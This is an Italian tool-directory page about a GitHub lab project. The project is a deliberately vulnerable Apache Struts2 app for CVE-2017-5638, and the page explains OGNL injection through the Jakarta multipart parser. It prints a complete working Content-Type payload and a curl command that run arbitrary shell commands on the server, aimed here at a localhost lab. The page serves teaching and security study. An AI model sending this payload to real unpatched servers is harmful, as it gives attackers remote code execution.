Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cybersecurity-struts2 — Applicazione Struts2 vulnerabile a CVE-2017-5638. Spiega come funziona lo sfruttamento della vulnerabilità in relazione a OGNL e al parser JakartaMultiPart. | Kitploit
Strumenti/GitHubGitHub/sighup1/cybersecurity-struts2
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneSviluppo Payload
GitHubsighup1/cybersecurity-struts2

cybersecurity-struts2

Applicazione Struts2 vulnerabile a CVE-2017-5638. Spiega come funziona lo sfruttamento della vulnerabilità in relazione a OGNL e al parser JakartaMultiPart.

Vedi Repository
137 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Vulnerabilità di Apache Struts2 | CVE-2017-5638 | Versione 2.5

Esclusione di responsabilità

Questo materiale è inteso esclusivamente a scopo educativo e di ricerca. Non autorizzo né approvo alcun uso illegale o non etico dei contenuti o delle informazioni di questo progetto.

Istruzioni

Per eseguire la webapp:

  • java -jar ms-cybersecurity-1.jar (usa Tomcat integrato)
  • Java 1.8
  • la webapp si avvia sulla porta 8080 di default (http://localhost:8080/MSCybersecurity)

Per inviare comandi usa l'emulatore da riga di comando (Send.jar) progetto:

l'URL vuoto punta di default a http://localhost:8080/MSCybersecurity/exploit, devi trovarti sull'endpoint /exploit

send

  • java -jar Send.jar

Se vuoi modificare questo sorgente, il progetto usa il sistema di build Maven:

  • Quando si modifica il sorgente: mvn package (crea il .jar)

NVD CVE-2017-5638

Il Payload

L'aspetto intelligente di questa vulnerabilità è lo sfruttamento di OGNL (Object Graph Navigation Library).

OGNL usa espressioni per eseguire operazioni, e due delle espressioni consentite sono la capacità di invocare classi arbitrarie nel framework e di concatenare eventi. Guida di riferimento OGNL Language Guide.

Quindi, ad esempio, è possibile istanziare l'oggetto edu.uvu.ms.cybersecurity.Command con OGNL

root@kitploit:~
//  OGNL expression to instantiate Command obj
(#cmd='whoami').(#p=new edu.uvu.ms.cybersecurity.Command(#cmd)).(#p.print('hello from MSCybersecurity'))

La classe edu.uvu.ms.cybersecurity.Command

root@kitploit:~
// Command simply prints the cmd argument passed from the OGNL expression
public class Command {
  private Object cmd;
  
  public Command(Object cmd){
    this.cmd = cmd;
  }

  private void print(){
      System.out.println("OGNL recieved cmd: "+this.cmd);
  }
  
  public void print(String loc){
      System.out.println("OGNL recieved cmd: "+this.cmd+" from "+loc);
  }
}
 

Oppure, in un senso più pratico, si può invocare la classe java.lang.ProcessBuilder per eseguire comandi a livello di sistema

root@kitploit:~
(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start())

Il payload seguente contiene un comando per invocare edu.uvu.ms.cybersecurity.Command e stampare nella console il comando inviato al server, per poi procedere all'esecuzione del comando. (per illustrare il concatenamento di eventi e l'invocazione di classi)

root@kitploit:~
Content-Type:  %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#p=new edu.uvu.ms.cybersecurity.Command(#cmd)).(#p.print('hello from MSCybersecurity')).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

Consegna il payload con CURL

root@kitploit:~
curl -H "Content-Type:  %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#p=new edu.uvu.ms.cybersecurity.Command(#cmd)).(#p.print('hello from MSCybersecurity')).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" -X POST http://localhost:8080/MSCybersecurity/exploit

Una parte di questo payload è stata presa da Rapid7 GitHub

L'Analisi (come vista dal mio IDE)

Il Jakarta MultiPart Parser:

Il problema è che il parser non esegue l'escape dei valori in ingresso nell'header Content-Type. Questo significa che un'espressione OGNL può essere inserita nell'header Content-Type. Quando l'header viene determinato come MultiPart, il parser lo invia a OgnlTextParser.class, che semplicemente interpreta l'espressione OGNL e finisce così per eseguire comandi arbitrari.

Quella che segue è un'analisi passo-passo di come questa vulnerabilità viene sfruttata.

Lo Struts2 Dispatcher: org.apache.struts2.dispatcher.Dispatcher

Lo Struts Dispatcher.class riceve la richiesta, determina che deve essere gestita dalla libreria JakartaMultiPart e invoca il costruttore MultiPartRequestWrapper() Dispatcher

L'espressione OGNL dall'header Content-Type viene poi passata al metodo parse(). Poiché le informazioni dell'header non sono valide, il parser solleva un'eccezione e chiama il metodo buildErrorMessage()

Dispatcher

Il metodo buildErrorMessage() tenta di trovare un messaggio di errore appropriato da restituire all'utente; tuttavia, per farlo, deve usare il metodo findText() di LocalizedTextUtil.class

Dispatcher

Il metodo findText di LocalizedTextUtil.class a sua volta chiama getDefaultMessage() e passa le informazioni del Content-Type

Dispatcher

Il metodo getDefaultMessage() delega quindi al metodo translateVariables() di TextParseUtil.class

Dispatcher

Il metodo translateVariables() di TextParseUtil.class delega al metodo evaluate di OgnlTextParser.class

Dispatcher

Il risultato è che qualsiasi espressione OGNL viene ora eseguita

Dispatcher

Scarica lo strumento